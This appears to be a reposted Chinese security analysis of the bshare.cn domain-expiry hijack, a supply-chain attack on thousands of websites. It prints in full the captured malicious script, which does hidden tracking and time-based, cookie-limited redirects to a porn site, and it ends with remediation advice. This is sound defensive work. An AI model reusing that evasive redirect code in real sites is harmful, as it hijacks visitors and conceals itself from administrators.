bshare域名过期抢注事件

admin 2026-06-19 05:34:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了bshare域名过期被抢注导致的供应链攻击。攻击者篡改分发JS,利用时段判定与随机策略隐蔽引流,影响数千网站。文章还原攻击链,建议排查外部引用、移除废弃组件并启用SRI校验以防范风险。 综合评分: 92 文章分类: 供应链安全,恶意软件,漏洞分析,威胁情报


cover_image

bshare 域名过期抢注事件

松杨云创 松杨云创

松杨网络安全资料库

2026年6月18日 14:35 广东

在小说阅读器读本章

去阅读

一、前言

某次安全巡检中,发现一个正常运营的网站存在异常行为:页面加载后有一定概率跳转至色情网站。起初以为是被入侵后挂马,但检查服务器文件后发现一切正常——问题出在一个第三方引用脚本上。

该 JS 文件名为 bshareCO.js,属于曾经非常流行的网页社交分享插件 bShare。而后续调查发现,这并非一起孤立的服务器入侵事件,而是一场域名过期抢注型供应链攻击

二、恶意代码实测分析

以下是本次巡查中实际捕获的恶意代码完整内容:

var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
 hm.src = "https://hm.baidu.com/hm.js?ee2c4c13bbf7dc7819d47f718a7d2e80";
var s = document.getElementsByTagName("script")[0];
 s.parentNode.insertBefore(hm, s);
})();

(function() {
const COOKIE_NAME = 'last_redirect_time';
const REDIRECT_URL = 'https://20sj.bjebxgi.cn?bs';

function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
return null;
 }

function set12HourCookie(name, value) {
const date = new Date();
 date.setTime(date.getTime() + (12 * 60 * 60 * 1000));
document.cookie = `${name}=${value}; expires=${date.toUTCString()}; path=/`;
 }

function getBeijingHour() {
return parseInt(new Intl.DateTimeFormat('en-US', {
timeZone: 'Asia/Shanghai',
hour: 'numeric',
hour12: false
 }).format(new Date()));
 }

if (getCookie(COOKIE_NAME)) {
return;
 }

const currentHour = getBeijingHour();
let shouldRedirect = false;

if&nbsp;(currentHour >=&nbsp;19&nbsp;|| currentHour <&nbsp;6) {
&nbsp;shouldRedirect =&nbsp;true;
&nbsp;}&nbsp;else&nbsp;{
if&nbsp;(Math.random() <&nbsp;0.3) {
&nbsp;shouldRedirect =&nbsp;true;
&nbsp;}
&nbsp;}

if&nbsp;(shouldRedirect) {
set12HourCookie(COOKIE_NAME,&nbsp;'true');
window.location.href&nbsp;=&nbsp;REDIRECT_URL;
&nbsp;}
})();

代码结构清晰,分为两个部分:

Part 1 — 百度统计(伪装层)

注入一段合法的百度统计代码。该 HM 账号并非网站运营方的,而是攻击者自行申请的。其用途有二:一是让脚本看起来像正常的统计代码,降低管理员检查时的警觉;二是监控受害流量——哪些页面触发了跳转、访客来源、设备信息等,为黑产做数据运营。

Part 2 — 条件跳转逻辑

攻击者设计了一套精细的触发策略:

  • 北京时间精准判定:使用 Intl.DateTimeFormat 获取北京时间小时值,而非客户端本地时间(用户的手机可能在不按时区),确保攻击窗口精确
  • 夜间全量:19:00 至次日 06:00,触发概率极高(管理员大概率离线)
  • 日间抽样:06:00 至 19:00,随机触发(降低暴露风险,减少投诉)
  • Cookie 限频:同一浏览器 12 小时内最多触发一次,避免连续跳转引起用户警觉
  • 最终指向https://20sj.bjebxgi.cn?bsbjebxgi.cn 是典型的随机字母组合域名,?bs 参数极大概率是流量来源标记,用于黑产结算分佣

三、溯源:不是被入侵,是被抢注

初步分析时,判断方向是”攻击者通过漏洞拿到了服务器写入权限,直接篡改了 bshareCO.js”。但威胁情报平台查询结果显示,该域名仍在白名单内——一个信誉分极高、历史清白的域名突然开始推送恶意脚本,这不符合服务器被入侵的特征。

经进一步调查,还原了完整的时间链:

| 时间 | 事件 | | — | — | | 2018 年 2 月 | bShare 运营公司(擘纳(上海)信息科技有限公司)注销 | | 2023 年 9 月 | bshare.cn ICP 备案最后一次可查 | | 2024 年 10 月 | bshare.cn 域名过期 | | 2024 年 11 月 | 域名状态从 OK 变为 clientHold(锁定状态) | | 2024 年 12 月 | 首次发现利用该域名的推流和钓鱼活动 | | 2025 年 2 月 | 安全厂商大规模检测到异常跳转 | | 2025 年 9 月 | 安全社区公开披露分析报告 | | 至今(2026 年 6 月) | 大量网站仍未移除引用代码 |

攻击链

站长引入分享组件 → <script src="http://static.bshare.cn/b/bshareC0.js">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 域名到期 → 攻击者抢注 static.bshare.cn
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↓
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 替换 JS 文件内容 → 全量引用该域名的网站同时受害

这是一个非常典型的域名过期抢注型供应链攻击(Domain Expiration Hijacking)。攻击者在域名正常过期后将其重新注册,在自有服务器上托管恶意 JS 文件,无需入侵任何目标服务器,即可控制所有加载该 JS 的网页。

需要注意这里的两层域名分工:

  • static.bshare.cn —— 被抢注的域名,充当恶意 JS 的分发入口。只要网页里有引用它的 <script> 标签,就会执行攻击者控制的脚本
  • 20sj.bjebxgi.cn —— JS 执行后的跳转目标,即色情推流落地页,属于随时可更换的变现终端

证据在于,安全厂商捕获的早期样本中跳转域名还是 360bs.julupan.com,而本次实测已换成了 bjebxgi.cn。变现层可以随时迭代,但分发入口(bshare)的抢注是不可逆的——谁拿到了这个域名,谁就持续持有这个流量入口。

四、未被有效遏制原因

1. 条件触发躲避自动化检测

恶意代码对触发条件做了精细筛选——只有在夜间特定时段才会全量跳转,白天仅在随机命中时触发。大多数自动化安全爬虫在日间运行、采样窗口有限,很难抓到偶发跳转行为。

2. 组件废弃 ≠ 自动下线

bShare 分享插件早已停止维护,域名在 2024 年 10 月之后实际上已不可用。但引用代码是静态写入 HTML 的,不会因为域名过期而自动删除。只要没人手动去改,它就永远留在页面上。

3. 攻击者持续迭代

| 特征 | 早期样本 | 本次捕获 | | — | — | — | | 跳转域名 | 360bs.julupan.com | 20sj.bjebxgi.cn | | 触发时段 | 21:00 ~ 05:00 | 19:00 ~ 06:00 | | Cookie 限频 | 24 小时 | 12 小时 | | UA 检测 | 仅 Android 移动端 | 不限设备 | | 日间触发 | 不触发 | 随机触发 |

域名不断更换、时段范围扩大、限频策略调整——攻击者表现出了相当成熟的运营能力,远非一次性投放后就不管了。

五、影响面评估

根据安全社区发布的数据,受影响网站超数千家,且这还不包括二级目录页面。

六、处置建议

1. 全站排查外部引用

搜索页面源码中所有 <script src="..."> 标签,排查以下几类高风险组件:

  • bshare / bdshare 分享插件
  • jiathis 等已停止维护的社交分享组件
  • 第三方 CDN 引入的 jQuery、Bootstrap 等库的冷门镜像域名

2. 移除或替换

对于确认不受控的外部 JS 引用,直接删除对应标签,或将其替换为本地托管的静态文件。

3. 引入 SRI(子资源完整性校验)

对新增或替换的必须保留的外部 JS 资源添加 integrity 属性。即使域名被劫持,浏览器也会因为哈希不匹配而拒绝执行被篡改的脚本。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:松杨网络安全资料库 松杨云创 松杨云创《bshare 域名过期抢注事件》

bshare域名过期抢注事件 网络安全文章

bshare域名过期抢注事件

文章总结: 本文分析了bshare域名过期被抢注导致的供应链攻击。攻击者篡改分发JS,利用时段判定与随机策略隐蔽引流,影响数千网站。文章还原攻击链,建议排查外部
评论:0   参与:  0